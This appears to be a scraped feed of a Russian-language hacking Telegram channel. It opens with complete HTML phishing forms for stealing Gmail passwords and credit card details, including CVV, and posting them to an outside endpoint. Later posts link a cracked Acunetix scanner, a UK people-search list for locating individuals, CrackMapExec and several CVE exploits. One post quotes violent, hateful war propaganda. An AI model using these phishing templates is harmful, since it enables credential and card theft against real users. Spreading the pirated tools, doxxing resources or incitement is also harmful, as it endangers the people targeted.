C.I.T. Security – Telegram
C.I.T. Security
8.14K subscribers
2.83K photos
254 videos
4.19K files
4.1K links
Софт, статьи, книги, базы данных и многое другое. Воруем все самое интересное с просторов телеграма и форумов.
Инф.войны и разведка: @cit_psyop
Курсы: @cit_course
Мусорка: https://news.1rj.ru/str/+WOFeU7VW2oYyZTI0
Боты пробива: @citsearchbot
@citsearch2bot
Download Telegram
🦠 Знаете ли вы, что Gmail позволяет использовать HTML-тег <form> ? Эта функция представляет потенциальную угрозу безопасности, особенно при попытке украсть учетные данные пользователя или конфиденциальную информацию. Учитывайте этот риск в процессе обеспечения ИБ.

1⃣Пример кода, выводящего форму для кражи пароля
<form action= "https://httpbin.org/post" method= "POST" > 
< input type = "email" name= "email" placeholder= "Email or phone" required>
< input type = "password" name= "password" placeholder= "Password" required>
< input type = "submit" value= "Next" >
</form>


2⃣ Пример кода, выводящего форму для кражи данных кредитной карты
<!DOCTYPE html > 
< html lang = "en" >
< head >
< meta charset = "UTF-8" >
< meta name = "viewport" content = "width=device-width, initial-scale=1.0" >
< noscript > Оплата кредитной картой </ noscript >
</ head >
< body >
< div class = "payment-container" >
< h2 > Оплата кредитной картой </ h2 >
< form action = "https://httpbin.org/post" method = "POST" >
< label for = "cardholder-name" > Имя владельца карты</label> < input type
= " text " id = " cardholder-name" name = "cardholder_name" placeholder = "John Doe" обязательно > <label for = "card-number" > Номер карты</label> < input type = " number " id =

" card - number " name = "
card_number " placeholder = " 1234 5678 9012 3456" обязательно > <label for = "expiry-date" > Дата истечения срока действия</label> < input type = " text " id =

" expiry - date " name = " expiry_date
" placeholder = " MM / YY " обязательно > < label for = " cvv " >

CVV </label> < input type = " number
" id = " cvv " name = " cvv " placeholder = " 123" обязательно >

< input type ="submit" value = "Оплатить сейчас" >
</ form >
</ div >
</ body >
</ html >

🍪 Поддержать канал
📱 НАШИ КОНТАКТЫ

#⃣ #OSINT #GMAIL #HACK
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥31
😁19
OSINT off UK (United Kingdom) 🇬🇧

People Search ↓

192.comhttps://www.192.com/

BritishPhoneBook.comhttp://www.britishphonebook.com/

The Phone Book from BT → https://www.thephonebook.bt.com/person/

Individual Insolvency Register - Search → https://www.insolvencydirect.bis.gov.uk/eiir/IIRRegisterNameInput.asp?option=NAME&court=ALL

Search for a Trainee - Pharmaceutical Society of Northern Ireland → https://www.psni.org.uk/search-register/trainee-results/

CIMA - Find a CIMA Accountant → https://www.cimaglobal.com/About-us/Find-a-CIMA-Accountant/

PeopleLookup.co.uk - 41 Million Electoral Roll
Records UK GB
United Kingdom England Scotland Wales Northern Ireland Great
Britain
Electoral Role → http://www.peoplelookup.co.uk/dob/


Businesses ↓

Companies House → https://beta.companieshouse.gov.uk

yell.comhttps://www.yell.com/

Pubs Galore - The UK pub guide → https://www.pubsgalore.co.uk/

FCA → https://register.fca.org.uk/

Company Check → https://companycheck.co.uk/

endole.co.ukhttps://www.endole.co.uk/

UKAS : Search Accredited Organisations → https://www.ukas.com/search-accredited-organisations/

Big Red Directory → https://www.bigreddirectory.com/

BizDb → https://www.bizdb.co.uk/

Yably – the place where ratings muster → https://yably.co.uk/

Food Safety Scores → https://www.eatible.co.uk/

Company Search, Company Credit Check, Director Search → https://www.companysearchesmadesimple.com/

Advanced Search - Monster.co.ukhttps://www.monster.co.uk/jobs/advanced-search/?intcid=swoop_Hero_Find_Jobs_Advanced_Search

Business Search - Monster.co.ukhttps://www.monster.co.uk/company/

Find a job → https://findajob.dwp.gov.uk/search

Buyer Search - Public Contracts Scotland → https://www.publiccontractsscotland.gov.uk/Search/search_Auth.aspx

Online medicines seller registry → https://medicine-seller-register.mhra.gov.uk/search-registry/

Get information about schools - GOV.UKhttps://get-information-schools.service.gov.uk/?SelectedTab=Establishments

Scores on the Doors - Official Food Hygiene Ratings → https://www.scoresonthedoors.org.uk/

Stallfinder | Find an Event or Stallholder → https://www.stallfinder.com/

storageplusmovers.co.ukhttps://www.storageplusmovers.co.uk/Search/GetCompaniesByPostcode

Listings Archive - Tradesmen Corner → https://www.tradesmencorner.co.uk/listings/?ls=

TrustMark Tradesmen → https://www.trustmark.org.uk/

Virtual Office Directory: England, Scotland, N Ireland, Wales → http://www.virtualofficedirectory.co.uk/

UK Pub Guide • whatpub.comhttps://whatpub.com/

Find UK Accountant: A Directory of Accountants → https://www.find-uk-accountant.co.uk/

TendersDirect → https://www.tendersdirect.co.uk/

ABTA | Travel Advice & Holiday Information | UK Travel Industry → https://www.abta.com/

Ukdirectory.co.ukhttps://www.ukdirectory.co.uk/

Extractives.company-information.service.gov.ukhttps://extractives.company-information.service.gov.uk/

Search for published payment practice reports → https://check-payment-practices.service.gov.uk/search


Court Records ↓

Court Cases Results → https://www.thelawpages.com/court-cases/court-case-search.php?mode=1

Courts and Tribunals Judiciary → https://www.judiciary.uk/judgments/

Case tracker – Justice UK → https://casetracker.justice.gov.uk/search.jsp

supremecourt.ukhttps://www.supremecourt.uk/current-cases/index.html

Causelist → http://causelist.org/


Planning Permissions ↓

Planning Registers Site Search → https://www.gov.uk/search-register-planning-decisions

Planning Appeals England & Wales → https://acp.planninginspectorate.gov.uk/CaseSearch.aspx

Planning Appeals Scotland → https://www.dpea.scotland.gov.uk/CaseSearch.aspx?T=2

Planning Permission | Mayor of London → https://apps.london.gov.uk/ldd/



REGISTRIES ↓

Amazon Baby Wishlist → https://www.amazon.co.uk/baby-reg/homepage/



VESSELS ↓

https://www.fqaregister.service.gov.uk/browse#tabs=0https://www.fqaregister.service.gov.uk/browse#tabs=0



Address ↓
3
Scotland Landlord Search → https://www.landlordregistrationscotland.gov.uk/search/start

Land Registry - Property Search → https://eservices.landregistry.gov.uk/eservices/FindAProperty/view/QuickEnquiryInit.do

Land Registry - Map Enquiry → https://eservices.landregistry.gov.uk/eservices/FindAProperty/view/MapEnquiryInit.do

FixMyStreet → https://www.fixmystreet.com/


Main Public Records ↓

genesreunited.co.ukhttps://www.genesreunited.co.uk/search

Office for National Statistics → https://www.ons.gov.uk/search?q=

BMD Records from England & Wales → https://www.ancestry.co.uk/search/categories/34/

UK Government Data → https://data.gov.uk/search

JNCC - Search → https://jncc.gov.uk/search?q=

Search For Notices - Public Contracts Scotland → https://www.publiccontractsscotland.gov.uk/search/search_mainpage.aspx

Search | Food Standards Agency → https://www.food.gov.uk/search?keywords=&fax=

Search | UK Sport → http://www.uksport.gov.uk/search?q=

Flood map for planning - GOV.UKhttps://flood-map-for-planning.service.gov.uk/

Search for a trade mark → https://trademarks.ipo.gov.uk/ipo-tmtext

Find a register office - GOV.UKhttps://www.gov.uk/register-offices

Prison finder - find a prison in England and Wales → http://www.justice.gov.uk/contacts/prison-finder

FreeCEN - UK Census Records (England, Scotland, Wales) → https://www.freecen.org.uk/

Non Conformist BMD Register Search → https://bmdregisters.co.uk/

Historical Directories → http://specialcollections.le.ac.uk/digital/collection/p16445coll4

The British Library → https://www.bl.uk/

Newspaper Index → https://one-name.org/modern-newspaper-index/

London's public transport history pictures → https://www.ltmuseum.co.uk/collections/collections-online/photographs

Legislation.gov.ukhttp://www.legislation.gov.uk/

Press Complaints Commission >> Advanced Search → http://www.pcc.org.uk/advanced_search.html

Find an authority - WhatDoTheyKnow → https://www.whatdotheyknow.com/select_authority?query=

Rent Smart Wales - Public Register → https://www.rentsmart.gov.wales/en/check-register/



Birth Records ↓

The England & Wales birth records → https://search.findmypast.co.uk/search-world-Records/england-and-wales-births-1837-2006

England and Wales Birth Registration Index, 1837-2008 → https://www.familysearch.org/search/collection/2285338?collectionNameFilter=true


Marriage Records ↓

Amazon Wedding Wishlist → https://www.amazon.co.uk/gp/registry/search.html?ie=UTF8&type=wedding


Education ↓

Find an Ofsted inspection report → https://reports.ofsted.gov.uk/

Inspection report search | Estyn → https://www.estyn.gov.wales/inspection/search

Nurseries UK → https://www.daynurseries.co.uk/

Directory of Open Access Repositories - v2.sherpa → http://v2.sherpa.ac.uk/opendoar/

Get information about schools - GOV.UKhttps://get-information-schools.service.gov.uk/

The Student Room → https://www.thestudentroom.co.uk/

Teacher misconduct → https://www.gov.uk/government/collections/teacher-misconduct

NASUWT | The Teachers' Union → https://www.nasuwt.org.uk/


Crime ↓

StAR - Stolen Asset Recovery Initiative - Corruption Cases → https://star.worldbank.org/corruption-cases/?db=All

Who are Britain’s jihadists? → https://www.bbc.co.uk/news/uk-32026985

Catch a Thief UK → https://www.catchathief.co.uk/

Research Map | What Works Centre for Crime Reduction → https://whatworks.college.police.uk/Research/Research-Map/Pages/Research-Map.aspx

Action Fraud → https://www.actionfraud.police.uk/

UK Burglary Hot Spots | MoneySuperMarket → https://www.moneysupermarket.com/home-insurance/burglary-hotspots/

Crime Map - police.ukhttps://www.police.uk/

Most Wanted - CrimeStoppers → https://crimestoppers-uk.org/give-information/most-wanted

Stats and data | The Met → https://www.met.police.uk/sd/stats-and-data/

FCA Warnings → https://www.fca.org.uk/news/search-results?n_search_term=&start=1&np_category=warnings

Friends Against Scams → https://www.friendsagainstscams.org.uk/
2
CrimeStoppers - Most Wanted → https://crimestoppers-uk.org/give-information/most-wanted

Most Wanted - National Crime Agency → https://www.nationalcrimeagency.gov.uk/most-wanted-search

NHS Counter Fraud Authority → https://cfa.nhs.uk/

Data downloads | data.police.ukhttps://data.police.uk/data/

Proscribed terrorist groups or organisations → https://www.gov.uk/government/publications/proscribed-terror-groups-or-organisations--2

Financial sanctions targets: list of all asset freeze targets → https://www.gov.uk/government/publications/financial-sanctions-consolidated-list-of-targets/consolidated-list-of-targets

Home - Serious Fraud Office → https://www.sfo.gov.uk/

Fraud news from the travel industry → https://www.profit.uk.com/travel-fraud-news/

BTP stations → http://www.btp.police.uk/contact_us/btp_stations.aspx

Missing Kids → https://www.missingpeople.org.uk/missingkids

Old Bailey Online - The Proceedings of the Old Bailey, 1674-1913 → https://www.oldbaileyonline.org/

London homicide map 2019 • murdermap → https://www.murdermap.co.uk/london-homicide-map-2019/


Death Records ↓

Burial records & Cremation records → https://www.deceasedonline.com/servlet/GSDOSearch

Ireland Historical Will Search → https://apps.proni.gov.uk/WillsCalendar_IE/WillsSearch.aspx

Find a will | GOV.UKhttps://probatesearch.service.gov.uk/#wills

Funeral Notices → https://funeral-notices.co.uk/national

www.rip.iehttps://rip.ie/


Adoption Records ↓

UK Birth Adoption Register → http://www.ukbirthadoptionregister.com/search.php



Vehicles ↓

askMID → https://ownvehicle.askmid.com/

Trade Car Checks & Vehicle Valuation Services → https://cazana.com/uk

Check if a vehicle is taxed and has an MOT → https://vehicleenquiry.service.gov.uk/

MOT History → https://www.check-mot.service.gov.uk/

Cars for sale in the UK - NewsNow Classifieds → https://www.newsnow.co.uk/classifieds/cars-vans-for-sale/

CAR CHECK → https://carcheck.app/vehicle/check

Caranalytics.co.ukhttps://www.caranalytics.co.uk/

Freecarcheck.co.ukhttps://www.freecarcheck.co.uk/

Partial Number Plate Search → https://www.partialnumberplate.co.uk/


Military ↓

Forces Reunited → https://www.forcesreunited.co.uk/search/

Today's birthdays | Army Rumour Service → https://www.arrse.co.uk/community/members/?key=todays_birthdays


Classified Ads ↓

Gumtree → https://www.gumtree.com/

Free Classified Ads, Free Ads, UK Classifieds → https://www.ukclassifieds.co.uk/

Free Ads → https://www.freeads.co.uk/

Find Property, Jobs and Cars and much much more - NewsNow Classifieds → https://www.newsnow.co.uk/classifieds/

Loot - Free Classified Ads in the UK since 1985 → https://loot.com/


Financial ↓

HMRC: Help → https://www.tax.service.gov.uk/information/help

Current list of deliberate tax defaulters - GOV.UKhttps://www.gov.uk/government/publications/publishing-details-of-deliberate-tax-defaulters-pddd/current-list-of-deliberate-tax-defaulters

Sort Code Checker → http://www.fasterpayments.org.uk/consumers/sort-code-checker

Sort Code Checker → https://www.sortcodes.co.uk/checker.html

VAT lookup → http://www.vat-lookup.co.uk/

VAT (Value Added Tax) IDs - Numbers Search Lookup → https://vat-search.co.uk/


Forums ↓

Anime UK News Forums → https://forums.animeuknews.net/

Taxi Driver Online • Index page → https://www.taxi-driver.co.uk/phpBB2/index.php



Domains ↓

UKWA Home → https://www.webarchive.org.uk/ukwa/


Interactive Maps ↓

Cornwall Interactive Map → https://map.cornwall.gov.uk/website/ccmap/

Devon Interactive Map → http://map.devon.gov.uk/DCCViewer/

Surrey Interactive Map → http://surreymaps.surreycc.gov.uk/public/viewer.asp

London Interactive Map → https://maps.london.gov.uk/cim/index.html

Dartmoor Camping Map → https://www.dartmoor.gov.uk/about-us/about-us-maps/new-camping-map

Northern Ireland Interactive Map → https://dfcgis.maps.arcgis.com/apps/webappviewer/index.html?id=6887ca0873b446e39d2f82c80c8a9337

Islington Interactive Map → https://mapapp.islington.gov.uk/mapthatv3/Default.aspx
2
Медведев: «Орешник» способен нанести неприемлемый ущерб западным столицам, речь идёт о минутах. Бомбоубежища не помогут. За порожденную ересь, за отступничество от истинного пути, за предательство Иисуса Христа, эта нечисть будет выжжена расщиплением атомов, их дома опустеют, а испорченные женщины понесут седеющих детей. Вы узнаете всю силу и мощь русского оружия, когда под траками наших танков будут послушно извиваться кишки ваших солдат и офицеров, реки залются кровью и гноем, а живые будут завидовать мертвым. Грядет новое будущее, которое так боятся архитекторы наших бед, трусливо зачитывая тексты через половинки очков, это будущее в раскатах весенней грозы, сибирского мороза, в складках на ладошках наших белых детей и на изломах крыльев Су-27. Покайтесь или отправитесь в ад!
😁12🔥114👍2👏1
Acunetix v24.10.241106172 - 07 Nov 2024

Windows: https://pwn3rzs.co/scanner_web/acunetix/Acunetix-v24.10.241106172-Windows-Pwn3rzs-CyberArsenal.rar

Linux: https://pwn3rzs.co/scanner_web/acunetix/Acunetix-v24.10.241106172-Linux-Pwn3rzs-CyberArsenal.7z

Password: Pwn3rzs

⚠️We’ve updated the hosts file definitions to prevent leaking or tracking users’ data, as it seems Invicti has been actively “investigating” potential leaks and unauthorized sharing by their customers lately⚠️

Changelog:

Too long for a post, refer here:
https://www.acunetix.com/changelogs/acunetix-premium/v24-10-0-7-november-2024/
👍1🔥1
😈 Исследование веб-сайтов в рамках OSINT

В данной статье мы поговорим о том, какую информацию можно получить с веб-ресурса для последующего использования в OSINT.

Какие сервисы для этого есть и какую конкретно информацию они для нас нароют.

Исследование веб-сайтов в рамках OSINT может предназначаться для решения целого ряда задач:
🔵идентификации владельцев или администраторов;
🔵мониторинга изменения цен;
🔵анализ конкурента;
🔵SEO или используемые ключевики и др. 

➡️https://habr.com/ru/companies/tomhunter/articles/670772/

#OSINT #Web // nsis
😈 CrackMapExec - Penetration Testing

CrackMapExec - это хакерский инструмент с открытым исходным кодом, который автоматизирует сбор информации, выполнение расширенных атак на пароли и действия после взлома, такие как горизонтальное перемещение.

Он разработан как «универсальный солдат» для атак на среды Windows Active Directory и использовался во многих реальных атак.

➡️https://github.com/byt3bl33d3r/CrackMapExec

#Tool #Pentest #Windows #ActiveDirectory // nsis
😁41
Когда канал наберёт 10к подписчиков, мы превратим его в онлифанс🫦
😁22👍5🔥5👏3
This media is not supported in your browser
VIEW IN TELEGRAM
MegaParse

MegaParse — это универсальный парсер, который обрабатывает различные документы, такие как текст, PDF и Word, в формат идеально подходящий для LLM с акцентом на сохранение информации.

Он работает быстро и эффективно, поддерживая широкий спектр форматов, включая Excel и CSV.

https://github.com/QuivrHQ/MegaParse
================
👁 @open_source_friend
🔥7👍2
HellPot — это кроссплатформенный портал бесконечных страданий, предназначенный для наказания неуправляемых HTTP-ботов. 😁😄
Описание ТОП )
Link
1👍1
Exploit-Street Улица Сезам
*
LPE exploits для Windows (2023\2024)
*
Link
CVE-2024-44308 Apple (Safari)
*
RCE
*
WriteUp + POC
*
🔥2
CVE-2024-11680 ProjectSend r1605
*
Exploit
CVE-2024-51378 CyberPanel Command Injection
*
WriteUp
*
exploit
👍1